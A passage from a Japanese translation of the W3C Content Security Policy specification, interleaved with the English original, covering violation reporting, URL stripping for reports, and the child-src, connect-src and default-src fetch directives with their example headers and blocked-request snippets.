			</li>
		</ol>
<p class="trans-note">【
`~map$は有順序であるが、
原文の［
記述／~markup
］は，順序が はっきりしない。
】</p>
	</li>
	<li>
<p>
~IF［
%違反 の`~source~file$vr ~NEQ ~NULL
］：
◎
If violation’s source file is not null:
</p>
		<ol>
			<li>
%本体[ `source-file^l ] ~SET
`報告~内の利用-用に~URLを剥ぐ$A( %違反 の`~source~file$vr )
◎
Set body["source-file"] to the result of executing § 5.4 Strip URL for use in reports on violation’s source file.
</li>
			<li>
%本体[ `line-number^l ] ~SET %違反 の`行番号$vr
◎
Set body["line-number"] to violation’s line number.
</li>
			<li>
%本体[ `column-number^l ] ~SET %違反 の`列番号$vr
◎
Set body["column-number"] to violation’s column number.
</li>
		</ol>
	</li>
	<li>
~Assert：［
%本体[ `blocked-uri^l ] ~NEQ `inline^l
］ならば［
%本体[ `sample^l ] ~NEQ 空~文字列
］
◎
Assert: If body["blocked-uri"] is not "inline", then body["sample"] is the empty string.
</li>
	<li>
~RET `~Infra値を~JSON~byte列に直列化する$( «[ `csp-report^l → %本体 ]» )
◎
Return the result of serialize an infra value to JSON bytes given «[ "csp-report" → body ]».
</li>
</ol>

		</section>
		<section id="strip-url-for-use-in-reports">
<h3 title="Strip URL for use in reports">5.4. 報告~内の利用-用に~URLを剥ぐ</h3>

<p>
この~algoは、
所与の
( `~URL$ %~URL )
に対し，
違反~報告~内の利用-用に［
~URLを表現する文字列
］を返す：
◎
Given a URL url, this algorithm returns a string representing the URL for use in violation reports:
</p>
<ol>
	<li>
~IF［
%~URL の`~scheme$url は`~HTTP_S~scheme$でない
］
⇒
~RET %~URL の`~scheme$url
◎
If url’s scheme is not an HTTP(S) scheme, then return url’s scheme.
</li>
	<li>
%~URL ~LET %~URL の複製
【この段は、この訳による補完（必要かどうかはっきりしないが）】
</li>
	<li>
%~URL の`素片$url ~SET 空~文字列
◎
Set url’s fragment to the empty string.
</li>
	<li>
%~URL の`~username$url ~SET 空~文字列
◎
Set url’s username to the empty string.
</li>
	<li>
%~URL の`~password$url ~SET 空~文字列
◎
Set url’s password to the empty string.
</li>
	<li>
~RET `~URLを直列化する$( %~URL )
◎
Return the result of executing the URL serializer on url.
</li>
</ol>

		</section>
		<section id="report-violation">
<h3 title="Report a violation">5.5. 違反を報告する</h3>

<p>
次の~algoは、
所与の
( `違反$ %違反 )
に対し，それを［
%違反 の`施策$vrに指定されている`報告先$
］へ報告するとともに，
%違反 の［
`要素$vr, `大域~obj$vr
］いずれかに向けて
`securitypolicyviolation$et ~eventを発火する：
◎
Given a violation violation, this algorithm reports it to the endpoint specified in violation’s policy, and fires a SecurityPolicyViolationEvent at violation’s element, or at violation’s global object as described below:
</p>

<ol>
	<li>
%大域~obj ~LET %違反 の`大域~obj$vr
◎
Let global be violation’s global object.
</li>
	<li>
%~target ~LET %違反 の`要素$vr
◎
Let target be violation’s element.
</li>
	<li>
<p>
`~taskを~queueする$( 【~task~sourceが指定されていない】, 次の手続き )
◎
Queue a task to run the following steps:
</p>

<p class="note">注記：
ここで “~taskを~queueする” のは、
~eventを~targetにして配送するのが［
~JSが所与の違反を担当する~taskの実行（それは DOM を操作し得る）を完了した後
］になることを確保するためである。
◎
Note: We "queue a task" here to ensure that the event targeting and dispatch happens after JavaScript completes execution of the task responsible for a given violation (which might manipulate the DOM).
</p>
<div class="algo">
<p>
手続きは：
</p>
		<ol>
			<li>
<p>
~IF［
%~target ~NEQ ~NULL
］~AND［
%大域~obj は `Window$I ~objである
］~AND［
%~target の`~shadowも含めた根$ ~NEQ %大域~obj に`結付けられた文書$
］
⇒
%~target ~SET ~NULL
◎
If target is not null, and global is a Window, and target’s shadow-including root is not global’s associated Document, set target to null.
</p>

<p class="note">注記：
これは~eventの発火-先になる要素は %違反 の`施策$vrの`文書$に`接続されて$いるものに限られることを確保する。
文書に接続されていない要素により 違反が生じた場合、
その違反が文書の~listenerから可視になることを確保するため，
~eventは 要素でなく当の文書に向けて発火されるようになる。
◎
Note: This ensures that we fire events only at elements connected to violation’s policy’s Document. If a violation is caused by an element which isn’t connected to that document, we’ll fire the event at the document rather than the element in order to ensure that the violation is visible to the document’s listeners.
</p>
			</li>
			<li>
<p>
~IF［
%~target ~EQ ~NULL
］：
◎
If target is null:
</p>
				<ol>
					<li>
%~target ~SET %大域~obj
◎
Set target to violation’s global object.
</li>
					<li>
~IF［
%~target は `Window$I ~objである
］
⇒
%~target ~SET %~target に`結付けられた文書$
◎
If target is a Window, set target to target’s associated Document.
</li>
				</ol>
			</li>
			<li>
<p>
~IF［
%~target は `EventTarget$I を`実装-$する
］
⇒
`~eventを発火する$( %~target,
`securitypolicyviolation@et,
`SecurityPolicyViolationEvent$I )
— 次のように初期化して：
◎
If target implements EventTarget, fire an event named securitypolicyviolation that uses the SecurityPolicyViolationEvent interface at target with its attributes initialized as follows:
</p>
				<ul>
					<li>
`documentURI$vE ~SET
`報告~内の利用-用に~URLを剥ぐ$A( %違反 の`~URL$vr )
◎
documentURI
• The result of executing § 5.4 Strip URL for use in reports on violation’s url.
</li>
					<li>
`referrer$vE ~SET
`報告~内の利用-用に~URLを剥ぐ$A( %違反 の`~referrer$vr )
◎
referrer
• The result of executing § 5.4 Strip URL for use in reports on violation’s referrer.
</li>
					<li>
`blockedURI$vE ~SET `違反の資源から~blockedURIを得する$A( %違反 の`資源$vr )
◎
blockedURI
• The result of executing § 5.2 Obtain the blockedURI of a violation’s resource on violation’s resource.
</li>
					<li>
`effectiveDirective$vE ~SET %違反 の`有効果な指令$vr
◎
effectiveDirective
• violation’s effective directive
</li>
					<li>
`violatedDirective$vE ~SET %違反 の`有効果な指令$vr
◎
violatedDirective
• violation’s effective directive
</li>
					<li>
`originalPolicy$vE ~SET %違反 の`施策$vr を`直列化-$した結果
◎
originalPolicy
• The serialization of violation’s policy
</li>
					<li>
`disposition$vE ~SET %違反 の`処置先$vr
◎
disposition
• violation’s disposition
</li>
					<li>
`sourceFile$vE ~SET %違反 の`~source~file$vrに応じて
⇒＃
~NULL ならば ~NULL 【 空~文字列？（ ~NULL はとり得ない）】／
~ELSE_ `報告~内の利用-用に~URLを剥ぐ$A( %違反 の`~source~file$vr )
◎
sourceFile
• The result of executing § 5.4 Strip URL for use in reports on violation’s source file, if violation’s source file is not null, or null otherwise.
</li>
					<li>
`statusCode$vE ~SET %違反 の`状態s~code$vr
◎
statusCode
• violation’s status
</li>
					<li>
`lineNumber$vE ~SET %違反 の`行番号$vr
◎
lineNumber
• violation’s line number
</li>
					<li>
`columnNumber$vE ~SET %違反 の`列番号$vr
◎
columnNumber
• violation’s column number
</li>
					<li>
`sample$vE ~SET %違反 の`見本$vr
◎
sample
• violation’s sample
</li>
					<li>
`bubbles$m ~SET ~T
◎
bubbles
• true
</li>
					<li>
`composed$m ~SET ~T
◎
composed
• true
</li>
				</ul>

<p class="note">注記：
ここでは `composed$m 属性を設定する。
すなわち、
この~eventは ~shadow~treeにも伝播することになる
— `target$m その他の~~詳細は、
~~自動的に，~light~treeが正しく視野に入るようにされる。
◎
Note: We set the composed attribute, which means that this event can be captured on its way into, and will bubble its way out of a shadow tree. target, et al will be automagically scoped correctly for the main tree.
</p>

<p class="note">注記：
`effectiveDirective$vI と `violatedDirective$vI は、
同じ値になる。
これは意図的であり、
後方-互換性を保守するためである。
◎
Note: Both effectiveDirective and violatedDirective are the same value. This is intentional to maintain backwards compatibility.
</p>
			</li>
			<li>
%指令~集合 ~LET %違反 の`施策$vrの`指令~集合$
◎
↓</li>
			<li>
<p>
~IF［
%指令~集合 内に［
`名前$ `report-uri$dir を伴う`指令$
］ %指令 は在る
］~AND［
%指令~集合 内に［
`名前$ `report-to$dir を伴う`指令$
］は無い
］：
◎
If violation’s policy’s directive set contains a directive named "report-uri" directive:
• If violation’s policy’s directive set contains a directive named "report-to", skip the remaining substeps.
</p>
				<ol>
					<li>
<p>
%指令 の`値$を成す
~EACH( %~token )
に対し：
◎
For each token of directive’s value:
</p>
						<ol>
							<li>
%報告先 ~LET `~URL構文解析する$( %~token, %違反 の`~URL$vr )
◎
Let endpoint be the result of executing the URL parser with token as the input, and violation’s url as the base URL.
</li>
							<li>
~IF［
%報告先 ~EQ `失敗^i
］
⇒
~BREAK
◎
If endpoint is not a valid URL, skip the remaining substeps.
</li>
							<li>
<p>
%要請 ~LET 新たな`要請$
— その
⇒＃
`~method$rq ~SET `POST^l,
`~URL$rq ~SET %違反 の`~URL$vr,
`生成元$rq ~SET %違反 の`大域~obj$vrに`関連な設定群~obj$の`生成元$enV,
`~window$rq ~SET `no-window^l,
`~client$rq ~SET %違反 の`大域~obj$vrに`関連な設定群~obj$,
`行先$rq ~SET `report^l,
`起動元$rq ~SET 空~文字列,
`資格証~mode$rq ~SET `same-origin^l,
`~keepaliveか$rq ~SET ~T,
`~header~list$rq ~SET « ( `Content-Type^h / `application/csp-report^l ) »,
`本体$rq ~SET %違反 を`直列化-（非推奨d）$Aした結果,
`~redirect~mode$rq ~SET `error^l
◎
Let request be a new request, initialized as follows:
◎
method
• "POST"
url
• violation’s url
origin
• violation’s global object’s relevant settings object’s origin
window
• "no-window"
client
• violation’s global object’s relevant settings object
destination
• "report"
initiator
• ""
credentials mode
• "same-origin"
keepalive
• "true"
header list
• A header list containing a single header whose name is "Content-Type", and value is "application/csp-report"
body
• The result of executing § 5.3 Obtain the deprecated serialization of violation on violation
redirect mode
• "error"
</p>

<p class="note">注記：
%要請 の`~mode$rqは既定の `no-cors^l になり、
対する応答は まるごと無視される。
◎
Note: request’s mode defaults to "no-cors"; the response is ignored entirely.
</p>
							</li>
							<li>
%要請 を`~fetch$する
— その結果は無視する。
◎
Fetch request. The result will be ignored.
</li>
						</ol>
					</li>
				</ol>

<p class="note">注記：
この段のすべては、
非推奨にされたものと見なされるべきである。
これは，違反ごとに単独の要請を送信するため、
単純に~scalableでないので。
この挙動は、
~UAから除去できるようになり次第，除去される。
◎
Note: All of this should be considered deprecated. It sends a single request per violation, which simply isn’t scalable. As soon as this behavior can be removed from user agents, it will be.
</p>

<p class="note">注記：
`report-uri^dir が効果を発揮するのは、
`report-to^dir が無いときに限られる。
すなわち、
後者は前者を上書きし，新たな仕組みを~supportしない~browserとの後方-互換性が得られるようにする。
◎
Note: report-uri only takes effect if report-to is not present. That is, the latter overrides the former, allowing for backwards compatibility with browsers that don’t support the new mechanism.
</p>
			</li>
			<li>
<p>
~IF［
%指令~集合 内に［
`名前$ `report-to$dir を伴う`指令$
］ %指令 は在る
］：
◎
If violation’s policy’s directive set contains a directive named "report-to" directive:
</p>
				<ol>
					<li>
<p>
%本体 ~LET 新たな `CSPViolationReportBody$I
— その：
◎
Let body be a new CSPViolationReportBody, initialized as follows:
</p>
						<ul>
							<li>
`documentURL$vB ~SET
`報告~内の利用-用に~URLを剥ぐ$A( %違反 の`~URL$vr )
◎
documentURL
• The result of executing § 5.4 Strip URL for use in reports on violation’s url.
</li>
							<li>
`referrer$vB ~SET
`報告~内の利用-用に~URLを剥ぐ$A( %違反 の`~referrer$vr )
◎
referrer
• The result of executing § 5.4 Strip URL for use in reports on violation’s referrer.
</li>
							<li>
`blockedURL$vB ~SET `違反の資源から~blockedURIを得する$A( %違反 の`資源$vr )
◎
blockedURL
• The result of executing § 5.2 Obtain the blockedURI of a violation’s resource on violation’s resource.
</li>
							<li>
`effectiveDirective$vB ~SET %違反 の`有効果な指令$vr
◎
effectiveDirective
• violation’s effective directive.
</li>
							<li>
`originalPolicy$vB ~SET %違反 の`施策$vr を`直列化-$した結果
◎
originalPolicy
• The serialization of violation’s policy.
</li>
							<li>
`sourceFile$vB ~SET %違反 の`~source~file$vrに応じて
⇒＃
~NULL ならば ~NULL ／
~ELSE_ `報告~内の利用-用に~URLを剥ぐ$A( %違反 の`~source~file$vr )
◎
sourceFile
• The result of executing § 5.4 Strip URL for use in reports on violation’s source file, if violation’s source file is not null, or null otherwise.
</li>
							<li>
`sample$vB ~SET %違反 の`見本$vr
◎
sample
• violation’s sample.
</li>
							<li>
`disposition$vB ~SET %違反 の`処置先$vr
◎
disposition
• violation’s disposition.
</li>
							<li>
`statusCode$vB ~SET %違反 の`状態s~code$vr
◎
statusCode
• violation’s status.
</li>
							<li>
`lineNumber$vB ~SET %違反 の`~source~file$vrに応じて
⇒＃
~NULL ならば ~NULL ／
~ELSE_ %違反 の`行番号$vr
◎
lineNumber
• violation’s line number, if violation’s source file is not null, or null otherwise.
</li>
							<li>
`columnNumber$vB ~SET %違反 の`~source~file$vrに応じて
⇒＃
~NULL ならば ~NULL ／
~ELSE_ %違反 の`列番号$vr
◎
columnNumber
• violation’s column number, if violation’s source file is not null, or null otherwise.
</li>
						</ul>
					</li>
					<li>
`報告を生成して~queueする$( %違反 の`大域~obj$【！に`関連な設定群~obj$】, `csp-violation^l, %指令 の`値$, %本体 )
`REPORTING$r
◎
Let settings object be violation’s global object’s relevant settings object.
◎
Generate and queue a report with the following arguments:
◎
context
• settings object
type
• "csp-violation"
destination
• directive’s value.
data
• body
</li>
				</ol>
			</li>
		</ol>
</div>
	</li>
</ol>

		</section>
	</section>
	<section id="csp-directives">
<h2 title="Content Security Policy Directives">6. ~CSP指令</h2>

<div class="p">
<p>
この仕様は、
次に挙げる種別の`指令$を定義する
— これらは、
自身の~siteの挙動のある種の側面を制御することを，~web開発者に許容する：
</p>
<ul>
	<li>
資源の~fetch~~処理を統治する指令
（`§ ~fetch指令＠#directives-fetch$）
</li>
	<li>
文書の状態を統治する指令
（`§ 文書~指令＠#directives-document$）
</li>
	<li>
~naviのある側面を統治する指令
（`§ ~navi指令＠#directives-navigation$）
</li>
	<li>
報告-法を統治する指令
（`§ 指令の報告-法＠#directives-reporting$）
</li>
</ul>

<p>
これらの指令は、
~CSPの中核を形成する
— 他の指令は、
補佐的な文書にて~modularに定義される
（ `§ 他の文書にて定義される指令＠#directives-elsewhere$にて例を見れる）。
</p>

◎
This specification defines a number of types of directives which allow developers to control certain aspects of their sites' behavior. This document defines directives which govern resource fetching (in § 6.1 Fetch Directives), directives which govern the state of a document (in § 6.3 Document Directives), directives which govern aspects of navigation (in § 6.4 Navigation Directives), and directives which govern reporting (in § 6.5 Reporting Directives). These form the core of Content Security Policy; other directives are defined in a modular fashion in ancillary documents (see § 6.6 Directives Defined in Other Documents for examples).
</div>

<p>
~XSS攻撃による~riskを軽減するため、
~web開発者は，次のいずれかにより［
~script／~plugin
］の~sourceを規制するベキである：
◎
To mitigate the risk of cross-site scripting attacks, web developers SHOULD include directives that regulate sources of script and plugins. They can do so by including:
</p>
<ul>
	<li>
［
`script-src$dir, `object-src$dir
］両~指令を含める
◎
Both the script-src and object-src directives, or
</li>
	<li>
`default-src$dir 指令を含める
◎
a default-src directive
</li>
</ul>

<p>
いずれの場合も，~web開発者は、
自身による施策~内に妥当な~sourceとして［
`unsafe-inline$pl ／ `data_^sc
］を含めるベキでない。
どちらも、［
文書~自体に~codeを直に含めることを許容する
］結果，~XSS攻撃を可能化するので。
それらは完全に避けるのが最善である。
◎
In either case, developers SHOULD NOT include either 'unsafe-inline', or data: as valid sources in their policies. Both enable XSS attacks by allowing code to be included directly in the document itself; they are best avoided completely.
</p>

		<section id="directives-fetch">
<h3 title="Fetch Directives">6.1. ~fetch指令</h3>

<p>
この節の各~下位~節に~~述べる指令は、
`~fetch指令@
と総称される。
`~fetch指令$は、
ある種の型の資源を，どの所在から読込んでもヨイかを制御する。
一例として， `script-src$dir 指令は、
信用-済み~sourceからの~scriptを~page上で実行することを，~web開発者に許容する。
また， `font-src$dir 指令は、
~web~fontの~sourceを制御する。
◎
Fetch directives control the locations from which certain resource types may be loaded. For instance, script-src allows developers to allow trusted sources of script to execute on a page, while font-src controls the sources of web fonts.
</p>

			<section id="directive-child-src">
<h4>6.1.1. `child-src^dir</h4>

<p>
`child-src@dir
指令は、［
`子~navigable$（例： `iframe$e ／ `frame$e ~navi ） ／
`Worker^I 実行~文脈
］の作成を統治する。
この指令の名前と値の構文は、
次の`~ABNF$で述べられる：
◎
The child-src directive governs the creation of child navigables (e.g. iframe and frame navigations) and Worker execution contexts. The syntax for the directive’s name and value is described by the following ABNF:
</p>

<pre class="bnf">
`directive-name$p
	= "child-src"
`directive-value$p
	= `serialized-source-list$p
</pre>

<p>
この指令は、［
~frame／~worker
］を拡充するような`要請$
— 正式には，次に該当する`要請$ —
を制御する：
◎
This directive controls requests which will populate a frame or a worker. More formally, requests falling into one of the following categories:
</p>
<ul>
	<li>
`行先$rq ~IN { `frame^l, `iframe^l, `object^l, `embed^l }
◎
destination is "frame", "iframe", "object", or "embed".
</li>
	<li>
`行先$rq ~IN { `serviceworker^l, `sharedworker^l, `worker^l }
（順に，［
`ServiceWorker$I,
`SharedWorker$I,
`Worker$I
］用の`~workerを走らす$【／`~swを走らす$】~algoに投入される）。
◎
destination is either "serviceworker", "sharedworker", or "worker" (which are fed to the run a worker algorithm for ServiceWorker, SharedWorker, and Worker, respectively).
</li>
</ul>

<div class="example">
<p>
~pageが次の~CSPを伴うならば：
◎
Given a page with the following Content Security Policy:
</p>

<pre class="lang-http">
`Content-Security-Policy$h:
    `child-src$dir https://example.com/
</pre>

<p>
次の~codeによる どの~fetchも，~network~errorを返す
— 供された~URLは，どれも
`child-src$dir の`~source~list$に合致しないので：
◎
Fetches for the following code will all return network errors, as the URLs provided do not match child-src’s source list:
</p>

<pre class="lang-html">
&lt;iframe src="https://example.org"&gt;&lt;/iframe&gt;
&lt;script&gt;
  var %blockedWorker = new Worker("data:application/javascript,...");
&lt;/script&gt;
</pre>
</div>

				<section id="child-src-pre-request">
<h5 title="child-src Pre-request check">6.1.1.1. `child-src^dir 要請前~検査</h5>

<p>
次の~algoが、
この指令の`要請前~検査$Aを与える：
◎
This directive’s pre-request check is as follows:
</p>

<p>
所与の
( `要請$ %要請, `施策$ %施策 )
に対し：
◎
Given a request request and a policy policy:
</p>
<ol>
	<li>
%名前 ~LET `要請~用に有効果な指令を取得する$A( %要請 )
◎
Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
</li>
	<li>
~IF［
`~fetch指令を実行するべきか？$A( %名前, `child-src$dir, %施策 ) ~EQ `~No^i
］
⇒
~RET `許容される^i
◎
If the result of executing § 6.8.4 Should fetch directive execute on name, child-src and policy is "No", return "Allowed".
</li>
	<li>
~RET ［
`指令$( %名前, この指令の`値$ ) の`要請前~検査$A
］( %要請, %施策 )
を実行した結果
◎
Return the result of executing the pre-request check for the directive whose name is name on request and policy, using this directive’s value for the comparison.
</li>
</ol>

				</section>
				<section id="child-src-post-request">
<h5 title="child-src Post-request check">6.1.1.2. `child-src^dir 要請後~検査</h5>

<p>
次の~algoが、
この指令の`要請後~検査$Aを与える：
◎
This directive’s post-request check is as follows:
</p>

<p>
所与の
( `要請$ %要請, `応答$ %応答, `施策$ %施策 )
に対し：
◎
Given a request request, a response response, and a policy policy:
</p>
<ol>
	<li>
%名前 ~LET `要請~用に有効果な指令を取得する$A( %要請 )
◎
Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
</li>
	<li>
~IF［
`~fetch指令を実行するべきか？$A( %名前, `child-src$dir, %施策 ) ~EQ `~No^i
］
⇒
~RET `許容される^i
◎
If the result of executing § 6.8.4 Should fetch directive execute on name, child-src and policy is "No", return "Allowed".
</li>
	<li>
~RET ［
`指令$( %名前, この指令の`値$ ) の`要請後~検査$A
］( %要請, %応答, %施策 )
を実行した結果
◎
Return the result of executing the post-request check for the directive whose name is name on request, response, and policy, using this directive’s value for the comparison.
</li>
</ol>

				</section>
			</section>
			<section id="directive-connect-src">
<h4>6.1.2. `connect-src^dir</h4>

<p>
`connect-src@dir
指令は、［
~script~interfaceを利用して読込める~URL
］を制約する。
この指令の名前と値の構文は、
次の`~ABNF$で述べられる：
◎
The connect-src directive restricts the URLs which can be loaded using script interfaces. The syntax for the directive’s name and value is described by the following ABNF:
</p>

<pre class="bnf">
`directive-name$p
	= "connect-src"
`directive-value$p
	= `serialized-source-list$p
</pre>

<p>
この指令は、
~dataを他の生成元［
へ伝送する／から受信する
］ような`要請$を制御する。
それらには、
次の~APIが含まれる：［
`fetch()$m,
`XHR$r,
`EVENTSOURCE$r,
`BEACON$r,
`a$e 要素の `ping$a 属性
］。
この指令は`また^em、
 `WEBSOCKETS$r 接続も制御する
— それは形上では~Fetchの一部を成さないが。
◎
This directive controls requests which transmit or receive data from other origins. This includes APIs like fetch(), [XHR], [EVENTSOURCE], [BEACON], and a’s ping. This directive also controls WebSocket [WEBSOCKETS] connections, though those aren’t technically part of Fetch.
</p>

<div class="example">
<p>
~JSは、［
情報を送受信するために外部~serverへ直に接続する
］ための，少数の仕組みを提供する：
◎
JavaScript offers a few mechanisms that directly connect to an external server to send or receive information.＼
</p>
<ul>
	<li>
`EventSource$I は、
~push通知を受信するために，~serverへ開な~HTTP接続を保守する。
◎
EventSource maintains an open HTTP connection to a server in order to receive push notifications,＼
</li>
	<li>
`WebSocket$I は、
~browser↔~server間で，双方向通信channelを開く。
◎
WebSockets open a bidirectional communication channel between your browser and a server,＼
</li>
	<li>
`XMLHttpRequest$I は、
任意な~HTTP要請を，~web開発者に利するために為す。
◎
and XMLHttpRequest makes arbitrary HTTP requests on your behalf.＼
</li>
</ul>
<p>
これらは，有用な機能性を可能化する強力な~APIだが、
漏出（ `exfiltration^en ）
【 “~filterから漏れる” — ~~内部から外へ秘密裏に~dataを転送する】
へ誘う道も供する。
◎
These are powerful APIs that enable useful functionality, but also provide tempting avenues for data exfiltration.
</p>

<p>
`connect-src$dir 指令は、
次を確保することを~web開発者に許容する
⇒
これらに類する接続は、
自身が信用する生成元へ向かうものに限り，開かれる
◎
The connect-src directive allows you to ensure that these and similar sorts of connections are only opened to origins you trust.＼
</p>

<p>
［
この指令~用の~source式たちが成す~listを定義する施策
］の送信は、
単直である。
例えば，接続を
`https://example.com^s
のみに制限するときは、
次の~headerを送信する：
◎
Sending a policy that defines a list of source expressions for this directive is straightforward. For example, to limit connections to only https://example.com, send the following header:
</p>

<pre class="lang-http">
`Content-Security-Policy$h:
    `connect-src$dir https://example.com/
</pre>

<p>
次の~codeによる~fetchは、
いずれも~network~errorを返すことになる
— 供された~URLは、
どれも `connect-src$dir の`~source~list$に合致しないので：
◎
Fetches for the following code will all return network errors, as the URLs provided do not match connect-src’s source list:
</p>

<pre class="lang-html">
&lt;a ping="https://example.org"&gt;...
&lt;script&gt;
  var %xhr = new XMLHttpRequest();
  %xhr.open('GET', 'https://example.org/');
  %xhr.send();

  var %ws = new WebSocket("wss://example.org/");

  var %es = new EventSource("https://example.org/");

  navigator.sendBeacon("https://example.org/", { ... });
&lt;/script&gt;
</pre>
</div>

				<section id="connect-src-pre-request">
<h5 title="connect-src Pre-request check">6.1.2.1. `connect-src^dir 要請前~検査</h5>

<p>
次の~algoが、
この指令の`要請前~検査$Aを与える：
◎
This directive’s pre-request check is as follows:
</p>

<p>
所与の
( `要請$ %要請, `施策$ %施策 )
に対し：
◎
Given a request request and a policy policy:
</p>
<ol>
	<li>
%名前 ~LET `要請~用に有効果な指令を取得する$A( %要請 )
◎
Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
</li>
	<li>
~IF［
`~fetch指令を実行するべきか？$A( %名前, `connect-src$dir, %施策 ) ~EQ `~No^i
］
⇒
~RET `許容される^i
◎
If the result of executing § 6.8.4 Should fetch directive execute on name, connect-src and policy is "No", return "Allowed".
</li>
	<li>
~IF［
`要請は~source~listに合致するか？$A( %要請, この指令の`値$, %施策 )
~EQ `合致しない^i
］
⇒
~RET `阻止される^i
◎
If the result of executing § 6.7.2.5 Does request match source list? on request, this directive’s value, and policy, is "Does Not Match", return "Blocked".
</li>
	<li>
~RET `許容される^i
◎
Return "Allowed".
</li>
</ol>

				</section>
				<section id="connect-src-post-request">
<h5 title="connect-src Post-request check">6.1.2.2. `connect-src^dir 要請後~検査</h5>

<p>
次の~algoが、
この指令の`要請後~検査$Aを与える：
◎
This directive’s post-request check is as follows:
</p>

<p>
所与の
( `要請$ %要請, `応答$ %応答, `施策$ %施策 )
に対し：
◎
Given a request request, a response response, and a policy policy:
</p>
<ol>
	<li>
%名前 ~LET `要請~用に有効果な指令を取得する$A( %要請 )
◎
Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
</li>
	<li>
~IF［
`~fetch指令を実行するべきか？$A( %名前, `connect-src$dir, %施策 ) ~EQ `~No^i
］
⇒
~RET `許容される^i
◎
If the result of executing § 6.8.4 Should fetch directive execute on name, connect-src and policy is "No", return "Allowed".
</li>
	<li>
~IF［
`要請に対する応答は~source~listに合致するか？$A( %応答, %要請, この指令の`値$, %施策 )
~EQ `合致しない^i
］
⇒
~RET `阻止される^i
◎
If the result of executing § 6.7.2.6 Does response to request match source list? on response, request, this directive’s value, and policy, is "Does Not Match", return "Blocked".
</li>
	<li>
~RET `許容される^i
◎
Return "Allowed".
</li>
</ol>

				</section>
			</section>
			<section id="directive-default-src">
<h4>6.1.3. `default-src^dir</h4>

<p>
`default-src@dir
指令は、
他の`~fetch指令$用の~fallbackとして~~働く。
この指令の名前と値の構文は、
次の`~ABNF$で述べられる：
◎
The default-src directive serves as a fallback for the other fetch directives. The syntax for the directive’s name and value is described by the following ABNF:
</p>

<pre class="bnf">
`directive-name$p
	= "default-src"
`directive-value$p
	= `serialized-source-list$p
</pre>

<p>
施策~内に `default-src$dir 指令が在る場合、
その値は，施策の既定の`~source~list$として利用されることになる。
すなわち，
`default-src 'none'; script-src 'self'^s
が与えられたなら、
~script要請は，照合する`~source~list$として `self$pl を利用する。
他の要請は， `none$pl を利用することになる。
これは、［
`要請は~CSPにより阻止されるべきか？$A,
`要請に対する応答は~CSPにより阻止されるべきか？$A
］~algoにてより詳細に~~述べられる。
◎
If a default-src directive is present in a policy, its value will be used as the policy’s default source list. That is, given default-src 'none'; script-src 'self', script requests will use 'self' as the source list to match against. Other requests will use 'none'. This is spelled out in more detail in the § 4.1.2 Should request be blocked by Content Security Policy? and § 4.1.3 Should response to request be blocked by Content Security Policy? algorithms.
</p>

<p class="note">注記：
資源~hint
— `prefetch$v や `preconnect$v など —
が生成する要請は、
どの特定な`~fetch指令$にも束ねられない代わりに，［
すべての施策の すべての指令の`~source~list$にて許容される~serverたち
］が成す和集合により統治される。
`default-src$dir が指定されていない場合、
これらの要請は，常に許容されることになる。
さらなる情報は、
`§ 漏出＠#exfiltration$を見よ。
`HTML$r
◎
Resource hints such as prefetch and preconnect generate requests that aren’t tied to any specific fetch directive, but are instead governed by the union of servers allowed in all of a policy’s directives' source lists. If default-src is not specified, these requests will always be allowed. For more information, see § 8.6 Exfiltration. [HTML]
</p>

<div class="example">
<p>
次の~headerは：
◎
The following header:
</p>

<pre class="lang-http">
`Content-Security-Policy$h:
    `default-src$dir `self$pl
</pre>

<p>
次の~headerと同じ挙動になる：
◎
will have the same behavior as the following header:
</p>

<pre class="lang-http">
`Content-Security-Policy$h:
    `connect-src$dir `self$pl;
    `font-src$dir `self$pl;
    `frame-src$dir `self$pl;
    `img-src$dir `self$pl;
    `manifest-src$dir `self$pl;
    `media-src$dir `self$pl;
    `object-src$dir `self$pl;
    `script-src-elem$dir `self$pl;
    `script-src-attr$dir `self$pl;
    `style-src-elem$dir `self$pl;
    `style-src-attr$dir `self$pl;
    `worker-src$dir `self$pl
</pre>

<p>
すなわち， `default-src$dir が設定されているときは、
明示的に設定されていない どの`~fetch指令$も，
`default-src$dir が指定する値に~fall-backすることになる。
◎
That is, when default-src is set, every fetch directive that isn’t explicitly set will fall back to the value default-src specifies.
</p>
</div>

<div class="example">
<p>
継承はない。
例えば， `script-src$dir 指令が明示的に指定されている場合、
`default-src$dir の値は
~script要請には波及しない。
すなわち、
次の~headerは：
◎
There is no inheritance. If a script-src directive is explicitly specified, for example, then the value of default-src has no influence on script requests. That is, the following header:
</p>

<pre class="lang-http">
`Content-Security-Policy$h:
    `default-src$dir `self$pl;
    `script-src-elem$dir https://example.com
</pre>

<p>
次の~headerと同じ挙動になる：
◎
will have the same behavior as the following header:
</p>

<pre class="lang-http">
`Content-Security-Policy$h:
    `connect-src$dir `self$pl;
    `font-src$dir `self$pl;
    `frame-src$dir `self$pl;
    `img-src$dir `self$pl;
    `manifest-src$dir `self$pl;
    `media-src$dir `self$pl;
    `object-src$dir `self$pl;
    `script-src-elem$dir https://example.com;
    `script-src-attr$dir `self$pl;
    `style-src-elem$dir `self$pl;
    `style-src-attr$dir `self$pl;
    `worker-src$dir `self$pl
</pre>

<p>
この挙動の下で，~siteのために施策を築く良い仕方の一つは、
まず， `default-src$dir を `none$pl にする所から始め、［
施策が適用される特定0の~pageに必要yな資源~型
］のみが許容されるように，施策を築上げるものになるであろう。
◎
Given this behavior, one good way to build a policy for a site would be to begin with a default-src of 'none', and to build up a policy from there which allowed only those resource types which are necessary for the particular page the policy will apply to.
</p>
</div>

				<section id="default-src-pre-request">
<h5 title="default-src Pre-request check">6.1.3.1. `default-src^dir 要請前~検査</h5>

<p>
次の~algoが、
この指令の`要請前~検査$Aを与える：
◎
This directive’s pre-request check is as follows:
</p>

<p>
所与の
( `要請$ %要請, `施策$ %施策 )
に対し：
◎
Given a request request and a policy policy:
</p>
<ol>
	<li>
%名前 ~LET `要請~用に有効果な指令を取得する$A( %要請 )
◎
Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
</li>
	<li>
~IF［
`~fetch指令を実行するべきか？$A( %名前, `default-src$dir, %施策 ) ~EQ `~No^i
］
⇒
~RET `許容される^i
◎
If the result of executing § 6.8.4 Should fetch directive execute on name, default-src and policy is "No", return "Allowed".
</li>
	<li>
%指令 ~LET `指令$( %名前, この指令の`値$ )
◎
↓</li>
	<li>
~RET %指令 の`要請前~検査$A( %要請, %施策 )
◎
